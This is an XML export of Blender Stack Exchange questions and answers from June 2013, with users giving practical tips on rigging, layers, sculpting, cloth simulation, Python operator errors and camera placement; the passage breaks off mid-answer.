  <row Id="849" PostTypeId="2" ParentId="815" CreationDate="2013-06-10T17:12:04.610" Score="12" Body="&lt;p&gt;I'm not sure if this accomplishes what you want but,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the render tab, under &quot;frame rate:&quot; choose &quot;custom&quot;.&#xA;Then you will get 2 more options&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;FPS&lt;/li&gt;&#xA;&lt;li&gt;Framerate base&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In FPS input 100, and in Framerate base input 0.1.&#xA;It should now say &quot;Custom (1000)&quot; in your framerate settings.&lt;/p&gt;&#xA;" OwnerUserId="477" LastEditorUserId="12" LastEditDate="2013-06-10T17:37:21.710" LastActivityDate="2013-06-10T17:37:21.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="850" PostTypeId="1" CreationDate="2013-06-10T17:50:37.213" Score="5" ViewCount="8814" Body="&lt;p&gt;I was hoping I could get some help here.&#xA;Is there any way to influence the bone envelopes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Problem:&#xA;I have an Armature and the Armature is set in stone and can't be changed.&#xA;I have also an Avatar that is rigged to this Armature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I want to make a cloth item for said avatar. The problem is, automatic weights are too inaccurate for the given armature. And the bone envelopes are too big to help here. I found the settings for the envelopes but it seems they only influence them as a whole.&#xA;E.G. if I shrink the &quot;distance&quot; it shrinks the influence as a whole.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe someone has an idea how to influence the distance in an x or y axis only ?&#xA;Pointers would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="514" LastEditorUserId="3401" LastEditDate="2015-12-22T18:41:11.800" LastActivityDate="2015-12-22T18:41:11.800" Title="Can I influence the bone envelopes?" Tags="&lt;rigging&gt;&lt;bones&gt;&lt;armature&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="851" PostTypeId="2" ParentId="850" CreationDate="2013-06-10T18:10:56.000" Score="2" Body="&lt;p&gt;You can change the vertices that are affected by adjusting their weights in weight paint mode. Select a bone, select the object (avatar) and press &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;TAB&lt;/kbd&gt; to go into weight paint mode (or select it from the mode menu). You'll have the ability to paint on your mesh now. Red means full weight and blue means no weight.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="47" LastEditDate="2013-06-10T19:15:01.533" LastActivityDate="2013-06-10T19:15:01.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="852" PostTypeId="1" AcceptedAnswerId="854" CreationDate="2013-06-10T19:08:39.917" Score="23" ViewCount="64776" Body="&lt;p&gt;I am building a model for a game and have decided to copy part of it into a separate layer. How do I copy one or more objects to a different layer?&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="238" LastEditDate="2013-06-14T16:44:02.050" LastActivityDate="2016-09-28T17:45:04.907" Title="How to copy object(s) to another layer" Tags="&lt;objects&gt;&lt;layers&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="853" PostTypeId="2" ParentId="852" CreationDate="2013-06-10T19:12:39.933" Score="9" Body="&lt;p&gt;Select the objects that you want to move and press &lt;kbd&gt;M&lt;/kbd&gt;, then select the layer you want to move them to. You can also have an object in several layers, for that after pressing &lt;kbd&gt;M&lt;/kbd&gt;, &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/FwrAW.png&quot; alt=&quot;LMB&quot;&gt; LMB&lt;/kbd&gt; select the layers.&lt;/p&gt;&#xA;" OwnerUserId="191" LastEditorUserId="20508" LastEditDate="2016-07-21T01:04:20.483" LastActivityDate="2016-07-21T01:04:20.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="854" PostTypeId="2" ParentId="852" CreationDate="2013-06-10T19:17:29.763" Score="29" Body="&lt;p&gt;To copy an object you have to be in &lt;em&gt;Object&lt;/em&gt; mode, right click on the object that you want to copy and the press &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;D&lt;/kbd&gt; to duplicate it first. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The duplicate will be in grab mode so right click to get out of grab mode without changing its location. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The object will still be selected but if it isn't, you can look in the &lt;em&gt;Outliner&lt;/em&gt; for it. It will have the original object name followed by a number indicating that is a duplicate such as &lt;code&gt;Object.001&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You then press &lt;kbd&gt;M&lt;/kbd&gt; to bring up the layer move popup menu and click the button for the layer that you want to move it to or alternatively type the number corresponding to the layer.&lt;/p&gt;&#xA;" OwnerUserId="493" LastEditorUserId="12" LastEditDate="2013-06-10T19:22:54.803" LastActivityDate="2013-06-10T19:22:54.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="855" PostTypeId="2" ParentId="822" CreationDate="2013-06-10T19:43:53.413" Score="34" Body="&lt;p&gt;I assume you are wanting to have the same arrangement of windows as when you start blender.&lt;/p&gt;&#xA;&lt;p&gt;If you have chosen another screen layout at the top: &lt;img src=&quot;https://i.stack.imgur.com/IYaf0.png&quot; alt=&quot;screen layout chooser&quot; /&gt;, just choose the Default layout.&lt;/p&gt;&#xA;&lt;p&gt;If you have modified the Default layout, you can reset all your layouts to normal by:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Save your current file.&lt;/li&gt;&#xA;&lt;li&gt;Choose File &amp;gt; New and reload the startup file.&lt;/li&gt;&#xA;&lt;li&gt;Open your file, but make sure that the &amp;quot;Load UI&amp;quot; checkbox isn't checked: &lt;img src=&quot;https://i.stack.imgur.com/SxqtM.png&quot; alt=&quot;image showing &amp;quot;Load UI&amp;quot; checkbox unchecked&quot; /&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;To save your new layouts, save your file, and the new (default) layout will be saved with it.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;If you just want to reset the view of the 3D view in the screen layout &amp;quot;Default&amp;quot;, there's some python code that will make that happen.  So temporarily change one of your windows to the type &amp;quot;Python Console&amp;quot; and paste this code in:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;for space in [area.spaces[0] for area in bpy.data.screens['Default'].areas if area.type == 'VIEW_3D']:&#xA;    space.region_3d.view_matrix = Matrix((&#xA;        (0.4100285768508911, 0.9119762182235718, -0.013264806941151619, 0.0),&#xA;        (-0.401742547750473, 0.19364379346370697, 0.8950446844100952, 0.0),&#xA;        (0.8188281059265137, -0.36166486144065857, 0.44577914476394653, -14.988801002502441),&#xA;        (0.0, 0.0, 0.0, 1.0)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This will reset the view for any 3D view windows you have.&lt;/p&gt;&#xA;&lt;h3&gt;Note:&lt;/h3&gt;&#xA;&lt;p&gt;The numbers in the matrix above are not something I figured out using complex math.  I just opened a new blender file and read the value in&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.screens['Default'].areas[-1].spaces[0].region_3d.view_matrix&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="364" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2017-02-01T00:24:20.263" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="857" PostTypeId="1" AcceptedAnswerId="863" CreationDate="2013-06-10T20:15:06.410" Score="6" ViewCount="770" Body="&lt;p&gt;In one scene of my .blend file, I use a frame from a video file in a texture. In another scene, I have a movie strip in the VSE that uses the same video file. Since this is Blender, I assumed that I would be able to link the data for the movie strip from the data for the movie into the texture, but I cannot see a way to do this.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I really need is for one to be changed when the other is.&lt;/strong&gt; Right now my solution is a really ugly python function, but I'd rather it work like other objects/strips in Blender. &lt;strong&gt;Is there a way to link the data used in strips in the VSE from other parts of Blender?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="364" LastEditorUserId="20508" LastEditDate="2016-07-02T02:24:40.650" LastActivityDate="2016-07-02T02:24:40.650" Title="Can movie data from a movie strip in the VSE link to data in a texture?" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="858" PostTypeId="1" AcceptedAnswerId="860" CreationDate="2013-06-10T21:03:19.640" Score="6" ViewCount="3302" Body="&lt;p&gt;Newbie here. I am new to Blender, I am wondering is it possible(in sculpting mode), to model a square indent into the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I have a cylinder or a cube, and I want to extrude a small square region on  one of its surface(you can imagine this to be a building). It has a square window, and the window is slightly out of the building's wall plane. I hope to repeat this effect for every surface, and each surface will have three by three windows. I don't need the window to have perfectly sharp corners. It could be slightly rounded. Thanks for the guidance.&lt;/p&gt;&#xA;" OwnerUserId="525" LastEditorUserId="20" LastEditDate="2013-06-10T23:13:12.477" LastActivityDate="2013-06-10T23:29:50.953" Title="Create a square block extrusion in sculpt?" Tags="&lt;sculpting&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="859" PostTypeId="2" ParentId="858" CreationDate="2013-06-10T21:26:35.050" Score="0" Body="&lt;p&gt;Yeah in sculpt mode you would have to use either the grab tool or the add clay tool and &quot;extrude&quot; until you get the desired look, then you would have to use the crease and smooth tools to smooth the edges and create those corners if you want them. Another easier way is to instead of sculpt it use edit mode and create loop cuts &lt;strong&gt;CTRL + R&lt;/strong&gt; to out line the shape of the windows. After that take the window &quot;faces&quot; and extrude them inward or out ward.&lt;img src=&quot;https://i.stack.imgur.com/NSDOo.jpg&quot; alt=&quot;enter image description here&quot;&gt; this was my result using the later method and some mirror and array modifyers.&lt;/p&gt;&#xA;" OwnerUserId="468" LastEditorUserId="468" LastEditDate="2013-06-10T22:45:41.347" LastActivityDate="2013-06-10T22:45:41.347" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="860" PostTypeId="2" ParentId="858" CreationDate="2013-06-10T21:27:07.263" Score="7" Body="&lt;p&gt;You can use multiple tools to achieve the effect, but I think the easiest is to use a stencil mapped texture with the shape of the window and a Layer brush. The height of the layer brush determines the depth of the effect. For best results, the sculpt plane should be &quot;Area Plane&quot; locked (ticking the lock icon next to the drop down menu).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a rough picture with the settings:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/GsqaY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="465" LastEditorUserId="465" LastEditDate="2013-06-10T21:49:35.710" LastActivityDate="2013-06-10T21:49:35.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="861" PostTypeId="2" ParentId="858" CreationDate="2013-06-10T21:27:38.557" Score="7" Body="&lt;p&gt;There are several ways to do this, the best is to use a texture as a kind of stencil. Here is a quick example.. (I am using a bolt alpha from &lt;a href=&quot;http://eat3d.com/forum/tips-tricks-and-free-videos/110-free-custom-bolt-alphas&quot; rel=&quot;nofollow noreferrer&quot;&gt;Eat3D's excellent free pack&lt;/a&gt;.  Additionally, you can find some more lovely free alphas here to play with if need be from &lt;a href=&quot;http://pixologic.com/zbrush/downloadcenter/alpha/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pixologic&lt;/a&gt; under &lt;em&gt;INDUSTRIAL&lt;/em&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you add the texture as a &lt;em&gt;Brush&lt;/em&gt; texture and tweak the settings a bit you can get some nice hard edged extrusions or details on your models.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I have it below, I have set the brush shape under &lt;em&gt;Curve&lt;/em&gt; in the toolshelf to &lt;code&gt;MAX&lt;/code&gt; &lt;em&gt;(the flat one)&lt;/em&gt; and bumped the brush strength up to a bit to about &lt;code&gt;.350&lt;/code&gt;. You can grab the pack and test it to see how it works, basically, the closer you get to white, the more the surface will be extruded so if you mix your shades you can get even more details. In your case, I am assuming a simple one will do so, just an image in the shape of a window with the frame in white or a shade of gray depending on what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vFCrs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I would edit this further but Psy-Fi has some more tips in his answer, you can refer to that for more information.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-06-10T23:29:50.953" LastActivityDate="2013-06-10T23:29:50.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="862" PostTypeId="2" ParentId="733" CreationDate="2013-06-10T21:36:08.247" Score="5" Body="&lt;p&gt;First off, FF7 used a stencil buffer implemented on the PS1's video hardware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, as mentioned, low-pixel count textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third, low-poly count as you already stated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That leaves pretty much everything up to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wanted advice on how to specifically render a model similar to one you'd seen on FF7, here are some relevant sources that may help you get an understanding of both the model file format, compression, and layout:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://q-gears.sourceforge.net/gears.pdf&quot;&gt;http://q-gears.sourceforge.net/gears.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=mw9mEMep3F8&quot;&gt;http://www.youtube.com/watch?v=mw9mEMep3F8&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="529" LastActivityDate="2013-06-10T21:36:08.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="863" PostTypeId="2" ParentId="857" CreationDate="2013-06-10T21:36:57.650" Score="6" Body="&lt;p&gt;Make a scene that renders or outputs the texture (eg. connect it to a composite output). Then in the sequencer instead of adding the video select the &lt;em&gt;scene&lt;/em&gt; strip from the &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; (Add) menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DJ8Kq.jpg&quot; alt=&quot;VSE: Add a scene strip menu&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="12" LastEditDate="2013-06-15T11:42:09.830" LastActivityDate="2013-06-15T11:42:09.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="866" PostTypeId="1" AcceptedAnswerId="887" CreationDate="2013-06-10T21:45:04.613" Score="5" ViewCount="439" Body="&lt;p&gt;I have a scene, with some assets linked into it. Among them is a rigged character, linked by a group instance. The rig is well &quot;proxied&quot;, and animated. I modeled a scarf, and wanted to make a cloth simulation. The part of the scarf which is around the neck of the character is parented to the neck's bone, and defined as &quot;Pin&quot; in the cloth parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I don't want the scarf to go through the body of the character, so I came back to the character's blend file, added a collider to the body, saved, and re-opened the scene. Nothing changed. The scarf still passes through the body. There is no cache applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something ?&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="14" LastEditDate="2013-06-11T14:12:48.353" LastActivityDate="2013-06-11T14:12:48.353" Title="Cloth sim : collision with external linked group meshes" Tags="&lt;workflow&gt;&lt;cloth-simulation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="869" PostTypeId="2" ParentId="274" CreationDate="2013-06-10T22:04:44.473" Score="2" Body="&lt;p&gt;First determine your units in Properties panel &gt; scene &gt; Units.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use Grab or Extrude with x,y,z constraint and type your measurements and validate. You can also type in the transform panel of the properties shelf (3D window) but most of the time it is slower and less practical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the snap tool in the 3D window header. Snap to increment can be really useful.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Like in real drawing, it can help and speed to draw construction lines. Sometime you can hijack some tools :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use grid object as a template and snap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the special menu  use subdivide or merge at center to find some point. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The measure panel is more useful to check measurements than to draw exactly.&lt;/p&gt;&#xA;" OwnerUserId="524" LastActivityDate="2013-06-10T22:04:44.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="870" PostTypeId="2" ParentId="87" CreationDate="2013-06-10T22:25:29.583" Score="1" Body="&lt;p&gt;On OS X, sometime I open a second blend file. I do it very briefly, for example to check that is in another file or to use the new Copy/paste Objects of V2.66. I never have a problem, but it look wise to not do it frequently and to close the second one immediately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To open two blend files I just use two copies of the blender.app.&#xA;To not be lost, I find it useful to change the icon of the second blender.app.&lt;/p&gt;&#xA;" OwnerUserId="524" LastActivityDate="2013-06-10T22:25:29.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="872" PostTypeId="2" ParentId="105" CreationDate="2013-06-10T22:56:48.503" Score="24" Body="&lt;p&gt;Grouping in Blender doesn't work like it does in many other apps. See &lt;a href=&quot;https://blender.stackexchange.com/a/106/599&quot;&gt;Mike Pan's answer&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h1&gt;Manipulating:&lt;/h1&gt;&#xA;&lt;p&gt;To &amp;quot;group several objects and then manipulate them (scale, rotate, translate) as one&amp;quot;, Just select them by selecting one of the grouped objects an pressing &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;&lt;em&gt;&amp;gt; Group&lt;/em&gt;, then manipulate them.&lt;/p&gt;&#xA;&lt;p&gt;Note the different &lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/3dview/controls/pivot_point/index.html#pivot-point&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Pivot point&lt;/em&gt;&lt;/a&gt; settings will change the way this behaves:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/3dview/controls/pivot_point/active_element.html#active-element&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Active element&lt;/em&gt;&lt;/a&gt;: Transform around the active (last selected, with a yellow outline) object center.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/3dview/controls/pivot_point/median_point.html#median-point&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Median point&lt;/em&gt;&lt;/a&gt;: Transform around the center of all the selected object centers. (This is most likely the behavior you are looking for, treating the selected objects as one object)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/3dview/controls/pivot_point/individual_origins.html#individual-origins&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Individual origins&lt;/em&gt;&lt;/a&gt;: Transform each object separately around it's own center origin.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/3dview/controls/pivot_point/3d_cursor.html#d-cursor&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;3D cursor&lt;/em&gt;&lt;/a&gt;: Transform the selected objects around the 3D cursor.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/3dview/controls/pivot_point/bounding_box_center.html#bounding-box-center&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Bounding box center&lt;/em&gt;&lt;/a&gt;: Transform selected objects around the center of the bounds of all the selected objects.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;Parenting:&lt;/h1&gt;&#xA;&lt;p&gt;To &amp;quot;group&amp;quot; object as in &amp;quot;the other apps&amp;quot; you can use parenting.&#xA;Parent them to an empty (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;). It can be practical, but it is not an orthodox use and can cause some problems, for example in animation.&lt;/p&gt;&#xA;&lt;h1&gt;Joining:&lt;/h1&gt;&#xA;&lt;p&gt;You can also join multiple objects to make a single new object (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;), but keep in mind it can be unpleasant to separate them later if you connect them with edges or faces, otherwise you can use &lt;kbd&gt;P&lt;/kbd&gt;&lt;em&gt;&amp;gt; By loose parts&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="524" LastEditorUserId="15924" LastEditDate="2020-12-15T14:47:38.360" LastActivityDate="2020-12-15T14:47:38.360" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="873" PostTypeId="2" ParentId="648" CreationDate="2013-06-11T01:28:33.577" Score="12" Body="&lt;p&gt;Orthographic view is a view that is not real world. It virtualy displays objects, such as a cube, in a way that it can be seen with out a paralax error. Paralax error is where you can see an object from a certain angle and it look like it is the same height as another object. Optical illusions take advantage of this concept. To clarify, if you were to stare at a clock in orthographic view you would see every thing lined up perfectly, no paralax error, you can see clearly, exactly what time it is. If you looked at it from Perspective you would be able to see under the hands, and if look at from a different angle other than head on you would see a different time other than what it really is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So Why do we need those views?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, say you are creating an architectural visualization, and you needed to ensure that two sides of this building were exactly the same height. If you were in perspective you could look at it from any number of angles and it would appear even. But if you were in Orthographic you would be able to see it without, parallax you would see it straight on virtually no dimensions except for up and down, and left to right. This way you would be able to see that oh, they are not really lined up, or that they are. Hope this helped!&lt;/p&gt;&#xA;" OwnerUserId="468" LastEditorUserId="-1" LastEditDate="2019-03-22T15:56:52.283" LastActivityDate="2019-03-22T15:56:52.283" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="875" PostTypeId="1" AcceptedAnswerId="876" CreationDate="2013-06-11T02:31:16.577" Score="-3" ViewCount="1918" Body="&lt;p&gt;How can I properly set up context in plugins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am importing Digital Terrain Models using a python plugin.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def register():&#xA;    bpy.utils.register_class(DTM)&#xA;    bpy.types.INFO_MT_mesh_add.append(add_to_menu)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the following error. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;C_dict, C_exec, C_undo = BPyOpsSubModOp._parse_args(args)&#xA;  File &quot;C:\Program Files\Blender Foundation\Blender\2.67\scripts\modules\bpy\ops.py&quot;, line 142, in _parse_args raise ValueError(&quot;1-3 args execution context is supported&quot;) ValueError: 1-3 args execution context is supported&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How can I fix this?&lt;/p&gt;&#xA;" OwnerUserId="453" LastEditorUserId="2217" LastEditDate="2014-12-22T18:13:50.663" LastActivityDate="2014-12-22T18:13:50.663" Title="proper bpy.ops context setup in a plugin" Tags="&lt;python&gt;&lt;scripting&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="8" ClosedDate="2013-06-11T17:07:57.947" ContentLicense="CC BY-SA 3.0" />
  <row Id="876" PostTypeId="2" ParentId="875" CreationDate="2013-06-11T03:33:26.540" Score="4" Body="&lt;p&gt;When calling an operator with &lt;code&gt;self&lt;/code&gt; and &lt;code&gt;context&lt;/code&gt;, I get the exact same error message:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ValueError: 1-3 args execution context is supported&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The first 3 arguments are reserved for optional arguments. From Blender API &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.ops.html#keywords-and-positional-arguments&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; on running an operator:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;For calling operators keywords are used for operator properties and positional arguments are used to define how the operator is called.&lt;/p&gt;&#xA;&lt;p&gt;There are 3 optional positional arguments (documented in detail below).&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.test.operator(override_context, execution_context, undo)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;override_context&lt;/li&gt;&#xA;&lt;li&gt;dict type execution_context - string (enum)&lt;/li&gt;&#xA;&lt;li&gt;undo - boolean&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Each of these arguments is optional, but must be given in the order above.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;In short, calling an operator with &lt;code&gt;self&lt;/code&gt; and &lt;code&gt;context&lt;/code&gt; as the first two arguments is wrong, and maybe the cause of the error message you've shown.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-06-11T03:33:26.540" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="877" PostTypeId="1" AcceptedAnswerId="879" CreationDate="2013-06-11T04:33:42.913" Score="50" ViewCount="174574" Body="&lt;p&gt;Let's suppose we have a medium-poly mesh, and we want to snapshot several different closeups by just flying in the camera or using the user's perspective to flyover.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a keyboard shortcut for adding a camera to the user's current view without all having to moving the camera all over the scene to fit a desired position? The switching back and forth from user perspectives to camera view is annoying.&lt;/p&gt;&#xA;" OwnerUserId="453" LastEditorUserId="12" LastEditDate="2013-11-17T20:09:26.633" LastActivityDate="2016-07-18T20:07:17.537" Title="Camera to user view?" Tags="&lt;3d-view&gt;&lt;shortcut&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="16" ClosedDate="2013-06-11T14:47:18.907" ContentLicense="CC BY-SA 3.0" />
  <row Id="878" PostTypeId="2" ParentId="877" CreationDate="2013-06-11T05:02:00.513" Score="13" Body="&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Numpad 0&lt;/kbd&gt; will snap the active camera to your viewport position :)&lt;/p&gt;&#xA;" OwnerUserId="544" LastEditorUserId="12" LastEditDate="2013-11-17T20:08:53.317" LastActivityDate="2013-11-17T20:08:53.317" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="879" PostTypeId="2" ParentId="877" CreationDate="2013-06-11T05:03:06.953" Score="55" Body="&lt;p&gt;To make your active camera match up with the viewport, use &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;0&lt;/kbd&gt; (&lt;kbd&gt;Numpad 0&lt;/kbd&gt;, the other zero won't work).&lt;br&gt;&#xA;Also, you can track the camera to an empty with the &lt;em&gt;Track To&lt;/em&gt; constraint. This will force your camera to point to the empty, which you can place in the center of your &lt;em&gt;medium complexity face mesh&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To set up the &lt;em&gt;Track To&lt;/em&gt; constraint:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select your empty first, then camera.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;img src=&quot;https://i.stack.imgur.com/GUyDk.png&quot; alt=&quot;Both selected, camera is brighter because it is the active object&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;C&lt;/kbd&gt; key, and choose &lt;em&gt;Track To&lt;/em&gt; from the menu.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;img src=&quot;https://i.stack.imgur.com/dTbfE.png&quot; alt=&quot;Contraint Menu Pops Up&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Then, go to the &lt;em&gt;Properties panel &gt; Object Constraints tab&lt;/em&gt;. The &lt;em&gt;Target:&lt;/em&gt; should say &lt;strong&gt;Empty&lt;/strong&gt;. Change the 